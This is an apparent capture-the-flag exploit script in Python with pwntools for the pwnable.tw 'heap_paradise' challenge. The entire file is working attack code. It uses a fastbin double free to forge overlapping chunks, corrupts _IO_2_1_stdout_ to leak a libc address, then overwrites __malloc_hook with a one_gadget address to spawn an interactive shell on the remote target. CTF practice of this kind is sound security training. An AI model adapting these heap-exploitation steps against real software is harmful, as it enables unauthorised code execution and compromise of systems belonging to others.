1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import *
exe = ELF("./heap_paradise_patched") libc = ELF("./libc_64.so.6") ld = ELF("./ld-2.23.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10308)
return r
def allocate (p, size, content): p.sendafter (b'You Choice:', b'1') p.sendafter (b'Size :', size) p.sendafter (b'Data :', content)
def free (p, id): p.sendafter (b'You Choice:', b'2') p.sendafter (b'Index :', id)
def main(): p = conn() allocate (p, b'104', p64 (0) * 3 + p64 (0x71)) allocate (p, b'104', p64 (0) * 3 + p64 (0x31) + b'\x00' * 16 * 2 + p64 (0) + p64 (0x21)) free (p, b'0') free (p, b'1') free (p, b'0') allocate (p, b'104', b'\x20') allocate (p, b'104', p64 (0) * 2) allocate (p, b'104', p64 (0) * 2) allocate (p, b'104', b'ndd') free (p, b'0') allocate (p, b'104', p64 (0) * 3 + p64 (0xa1)) free (p, b'5')
free (p, b'0') allocate (p, b'104', p64 (0) * 3 + p64 (0x71) + b'\xdd\x45') print ("Attack _IO_2_1_stdout_ -----------------------------------------------------------------------------") free (p, b'0') free (p, b'1') free (p, b'0') allocate (p, b'104', b'\x20') allocate (p, b'104', p64 (0) * 2) allocate (p, b'104', p64 (0) * 2) allocate (p, b'104', b'dd')
_IO_MAGIC = 0xfbad0000 _IO_IS_APPENDING = 0x1000 _IO_CURRENTLY_PUTTING = 0x800 print ("The value of _IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING is: ", (_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)) allocate (p, b'104', b'\x00' * 0x33 + p64 (_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING) + p64 (0) * 3 + b'\xa0\x3b')
libc.address = u64 (p.recv (6) + b'\x00' * 2) - libc.symbols['main_arena'] - 104 print ("The libc address is: ", hex (libc.address))
print ("Get shell ---------------------------------------------------------------------------------")
free (p, b'5') free (p, b'0') allocate (p, b'104', p64 (0) * 3 + p64 (0x71) + p64(libc.sym['__malloc_hook'] - 0x23)) allocate (p, b'104', b'ndd') allocate (p, b'104', b'\x00' * 0x13 + p64 (libc.address + 0xef6c4)) free (p, b'0') free (p, b'0')
p.interactive()
if __name__ == "__main__": main()
|